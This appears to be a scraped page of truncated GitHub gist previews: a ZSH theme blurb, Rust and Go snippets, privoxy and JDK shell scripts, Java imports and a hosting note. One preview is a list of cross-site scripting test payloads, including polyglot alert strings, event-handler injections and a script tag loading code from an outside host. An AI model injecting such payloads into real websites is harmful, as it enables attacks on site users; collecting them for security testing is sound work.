A ZSH theme optimized for people who use:
- Solarized
- Git
- Unicode-compatible fonts and terminals (I use iTerm2 + Menlo)
For Mac users, I highly recommend iTerm 2 + Solarized Dark
use itertools::Itertools; | |
fn main() { | |
assert_eq!( | |
"a1b2c3def", | |
merge_alternately_itertools("abcdef".to_string(), "123".to_string()) | |
); | |
assert_eq!( | |
"a1b2c3456", | |
merge_alternately_itertools("abc".to_string(), "123456".to_string()) |
// Comes from: https://dev.to/rubiin/measure-function-execution-time-in-golang-177l | |
func measureTime(start time.Time, name string) { | |
elapsed := time.Since(start) | |
log.Printf("Time for %s: %s", name, elapsed) | |
} | |
func expensive_func() { | |
defer measureTime(time.Now(), "name") | |
// do your expensive calculation |
#!/bin/bash -x | |
## 让 privoxy 代理服务器使用 gfwlist 自动分流 | |
## 安装需要的包,gfwlist2privoxy 暂时只支持 py2.7 所以需要修改下:: | |
# sudo apt install -y privoxy python-pip | |
# pip install --user gfwlist2privoxy | |
# sed -i 's,^#!/usr/bin/python.*,#!/usr/bin/python2.7,' ~/.local/bin/gfwlist2privoxy | |
## 修改 privoxy 配置,默认使用 8123 本地端口 | |
grep -q gfwlist.action /etc/privoxy/config || echo 'actionsfile gfwlist.action' | sudo tee -a /etc/privoxy/config |
#!/usr/bin/env bash | |
JDKS_DIR="/Library/Java/JavaVirtualMachines" | |
JDKS=( $(ls ${JDKS_DIR}) ) | |
JDKS_STATES=() | |
# Map state of JDK | |
for (( i = 0; i < ${#JDKS[@]}; i++ )); do | |
if [[ -f "${JDKS_DIR}/${JDKS[$i]}/Contents/Info.plist" ]]; then | |
JDKS_STATES[${i}]=enable |
#![feature(conservative_impl_trait)] | |
// without impl trait or box | |
use std::iter::{ FlatMap, Map, Enumerate, Iterator }; | |
use std::str::Chars; | |
type GetIterFnType = Fn((usize, char)) -> Option<char>; | |
type IdentityType = Fn(Option<char>) -> Option<char>; | |
type GetIterType<'a> = FlatMap<Map<Enumerate<Chars<'a>>, &'static GetIterFnType>, Option<char>, &'static IdentityType>; | |
const GET_ITER_FN: &'static GetIterFnType = &|(i, x)| if i % 2 == 0 { Some(x) } else { None }; |
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
'';!--"<XSS>=&{()} | |
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-" | |
<script/src=data:,alert()> | |
<marquee/onstart=alert()> | |
<video/poster/onerror=alert()> | |
<isindex/autofocus/onfocus=alert()> | |
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> | |
<IMG SRC="javascript:alert('XSS');"> | |
<IMG SRC=javascript:alert('XSS')> |
import java.io.BufferedReader; | |
import java.io.File; | |
import java.io.FileNotFoundException; | |
import java.io.FileOutputStream; | |
import java.io.IOException; | |
import java.io.InputStreamReader; | |
import java.io.Reader; | |
import java.net.HttpURLConnection; | |
import java.net.MalformedURLException; | |
import java.net.URI; |
import javafx.application.Application; | |
import javafx.fxml.FXMLLoader; | |
import javafx.scene.Scene; | |
import javafx.scene.layout.Pane; | |
import javafx.stage.Stage; | |
import java.io.IOException; | |
/** | |
* Main application class. |
This gist is only for picture hosting. That's all. | |
Go to [Hack-SpaceVim](https://github.com/Gabirel/Hack-SpaceVim) to see all. |